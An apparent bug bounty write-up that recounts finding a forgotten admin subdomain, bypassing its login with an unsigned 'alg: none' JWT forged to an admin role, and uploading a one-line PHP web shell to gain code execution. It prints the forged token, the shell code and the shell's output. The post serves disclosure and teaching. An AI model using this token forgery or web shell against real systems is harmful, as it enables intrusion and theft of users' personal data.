How a Forgotten Admin Panel and JWT None Algorithm Gave Me Root
A simple subdomain enumeration led me to an exposed admin interface that accepted unsigned JWTs, turning a forgotten endpoint into complete server compromise.

Recon
I was testing a bug bounty target—let's call it acmecorp.com—when I decided to run my usual subdomain enumeration playbook. Nothing fancy, just subfinder, amass, and a quick check against certificate transparency logs.
bashsubfinder -d acmecorp.com -silent | tee subs.txt cat subs.txt | httpx -silent -status-code -title
Most results were expected: www, api, cdn, mail. But one entry caught my eye: legacy-admin.acmecorp.com returning a 200 with the title "AcmeCorp Internal Dashboard". The word "legacy" is always music to my ears.
Discovery
Navigating to https://legacy-admin.acmecorp.com presented a clean login form. I tried a few default credentials (admin/admin, admin/password) with no luck, then shifted focus to understanding the authentication mechanism.
I created a test account on the main application at acmecorp.com and logged in. Burp showed the app was using JWTs stored in a cookie named auth_token. The token looked like this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0LCJyb2xlIjoidXNlciIsImV4cCI6MTcwNjEyMzQ1Nn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Decoding it at jwt.io revealed:
json{ "alg": "HS256", "typ": "JWT" } { "user_id": 1234, "role": "user", "exp": 1706123456 }
Now here's where it got interesting. I tried using this token on the legacy admin panel by setting the cookie manually. The panel rejected it immediately with "Invalid token signature."
That's when I remembered a classic JWT vulnerability: the none algorithm attack. If the backend doesn't properly validate the alg header, you can set it to none and remove the signature entirely, creating a valid unsigned token.
Exploitation
I modified the JWT header to use the none algorithm:
json{ "alg": "none", "typ": "JWT" }
Then I changed the payload to escalate privileges:
json{ "user_id": 1, "role": "admin", "exp": 9999999999 }
I base64-encoded both parts, joined them with a dot, and crucially left the signature portion empty but kept the trailing dot:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.
I set this as my auth_token cookie and refreshed the legacy admin panel.
Boom. I was in.
The admin panel was a treasure trove. I had access to:
- All user accounts and their PII (emails, phone numbers, addresses)
- System configuration settings
- A file upload feature for "system backups"
That file upload feature had no extension filtering. I uploaded a simple PHP web shell:
php<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
Accessed it at https://legacy-admin.acmecorp.com/uploads/shell.php?cmd=id and got:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Remote code execution achieved.
Impact
This vulnerability chain allowed me to:
- Bypass authentication on an administrative interface
- Access sensitive user data for all platform users
- Achieve remote code execution on the production server
- Potentially pivot to internal network resources
The "legacy" admin panel was likely a forgotten relic from an earlier version of the application, never properly decommissioned and running outdated authentication code.
Lessons
The AHA moment came when the admin panel rejected my valid user token. That told me it was using a separate validation mechanism—probably older code that was more vulnerable. Testing the none algorithm was almost muscle memory at that point.
Key takeaways:
- Always enumerate subdomains thoroughly—forgotten subdomains are low-hanging fruit
- JWT implementations must explicitly reject the none algorithm or maintain a whitelist of allowed algorithms
- Legacy systems are security debt—if you're not using it, shut it down
- Defense in depth matters—even if I couldn't RCE, the data exposure alone was critical
I reported this to AcmeCorp and received a $5,000 bounty. They took the admin panel offline within 2 hours and patched their JWT validation library across all properties within a week. This one reminded me that sometimes the biggest vulnerabilities hide in the places everyone forgot about.